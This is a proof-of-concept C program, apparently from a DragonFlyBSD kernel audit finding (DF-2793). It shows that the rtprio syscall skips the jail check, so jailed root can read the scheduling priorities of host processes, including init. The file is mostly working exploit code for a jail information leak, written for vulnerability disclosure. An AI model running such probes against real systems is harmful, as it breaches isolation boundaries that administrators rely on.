โฌข DragonFlyBSD Kernel Audit
DF-2793 / jail_rtprio.c
โ† back to finding โ†“ download raw
/*
 * DF-2793 PoC โ€” sys_rtprio()/sys_lwp_rtprio() have no PRISON_CHECK on
 * any path (sys/kern/kern_resource.c:705-709 / 607-610), unlike every
 * priority syscall in the same file (getpriority :104,123; setpriority
 * :208,233,277; ioprio_get :347,366; ioprio_set :450,475,520).
 *
 * PRISON_CHECK (sys/sys/proc.h:462) is what confines a jailed process
 * to its own jail's processes. Without it:
 *
 *   - a jailed user whose uid matches a host user can read that host
 *     process's realtime scheduling parameters (RTP_LOOKUP has NO
 *     credential check at all before the copyout);
 *   - jailed root (uid 0 inside the jail) additionally bypasses the
 *     uid-ownership gate at kern_resource.c:711-716 because the check
 *     short-circuits on cr_uid == 0, so it can RTP_LOOKUP *any* host
 *     process (revealing which host processes run realtime/idle and
 *     their exact priorities).
 *
 * Must run as root (it jails a child to demonstrate the boundary).
 *
 * Demonstration: root forks a child; the child jails itself
 * (jail+jail_attach) and then, still root-uid but jailed, tries, on the
 * *host* parent pid:
 *     1. rtprio(RTP_LOOKUP, ppid)   -> expected: SUCCEEDS (the leak)
 *     2. getpriority(PRIO_PROCESS, ppid) -> expected: ESRCH (jail check
 *        present in kern_resource.c:104) โ€” same file, same target,
 *        different syscall: the inconsistency is the bug.
 *     3. setpriority(PRIO_PROCESS, ppid, 0) -> expected: EPERM/ESRCH
 *        (donice paths are prison-checked).
 */
#include <sys/types.h>
#include <sys/jail.h>
#include <sys/rtprio.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

#ifndef PRIO_PGRP
#define PRIO_PGRP 1
#endif

#define JAILDIR "/tmp/jail2793"

int
main(void)
{
	struct rtprio rt;
	struct jail j;
	pid_t ppid;
	int jid, r;

	if (geteuid() != 0) {
		fprintf(stderr, "must run as root\n");
		return 2;
	}

	/* set our own rtprio to something recognizable for the child */
	memset(&rt, 0, sizeof(rt));
	rt.type = RTP_PRIO_NORMAL;
	rt.prio = 7;
	if (syscall(166, RTP_SET, 0, &rt) != 0)
		perror("parent rtprio set (non-fatal)");

	if (mkdir(JAILDIR, 0755) != 0 && errno != EEXIST) {
		perror("mkdir " JAILDIR);
		return 1;
	}

	jid = fork();
	if (jid == 0) {
		/* child: become jailed root (struct jail, sys/sys/jail.h) */
		ppid = getppid();	/* resolve target after fork */
		memset(&j, 0, sizeof(j));
		j.version = 2;
		j.path = JAILDIR;
		j.hostname = "leaktest";
		j.n_ips = 0;
		j.ips = NULL;
		jid = syscall(338, &j);		/* jail(): creates AND attaches */
		if (jid < 0) {
			/* fall back to legacy jail_v0 layout */
			struct {
				uint32_t version;
				char *path;
				char *hostname;
				uint32_t ip_number;
			} j0;
			j0.version = 0;
			j0.path = JAILDIR;
			j0.hostname = "leaktest";
			j0.ip_number = 0;
			jid = syscall(338, &j0);
		}
		if (jid < 0) {
			fprintf(stderr, "jail(): %s\n", strerror(errno));
			_exit(3);
		}
		/* sys_jail() already attached us (kern_jail.c:227) */

		printf("[jailed root] parent (host, pid %d) rtprio probe:\n",
		       (int)ppid);

		memset(&rt, 0xAA, sizeof(rt));
		r = syscall(166, RTP_LOOKUP, ppid, &rt);
		if (r == 0) {
			printf("  rtprio(RTP_LOOKUP, %d)      = OK  "
			       "type=%u prio=%u   <== LEAK\n",
			       (int)ppid, rt.type, rt.prio);
		} else {
			printf("  rtprio(RTP_LOOKUP, %d)      = %s\n",
			       (int)ppid, strerror(errno));
		}

		errno = 0;
		r = getpriority(PRIO_PROCESS, ppid);
		if (r == -1 && errno)
			printf("  getpriority(PROCESS, %d)    = %s "
			       "(prison-checked)\n", (int)ppid,
			       strerror(errno));
		else
			printf("  getpriority(PROCESS, %d)    = %d ?!\n",
			       (int)ppid, r);

		r = setpriority(PRIO_PROCESS, ppid, 10);
		printf("  setpriority(PROCESS, %d, 10) = %s "
		       "(prison-checked)\n", (int)ppid,
		       r ? strerror(errno) : "OK?!");

		/* bonus: any host pid โ€” init */
		memset(&rt, 0xAA, sizeof(rt));
		r = syscall(166, RTP_LOOKUP, 1, &rt);
		if (r == 0)
			printf("  rtprio(RTP_LOOKUP, 1/init)  = OK  "
			       "type=%u prio=%u   <== LEAK\n",
			       rt.type, rt.prio);
		else
			printf("  rtprio(RTP_LOOKUP, 1/init)  = %s\n",
			       strerror(errno));

		printf("[jailed root] done\n");
		fflush(stdout);
		fflush(stderr);
		_exit(0);
	}
	waitpid(jid, NULL, 0);
	printf("[host root] parent still here, rtprio of pid %d leaked "
	       "across jail boundary if child printed LEAK lines\n",
	       (int)getpid());
	return 0;
}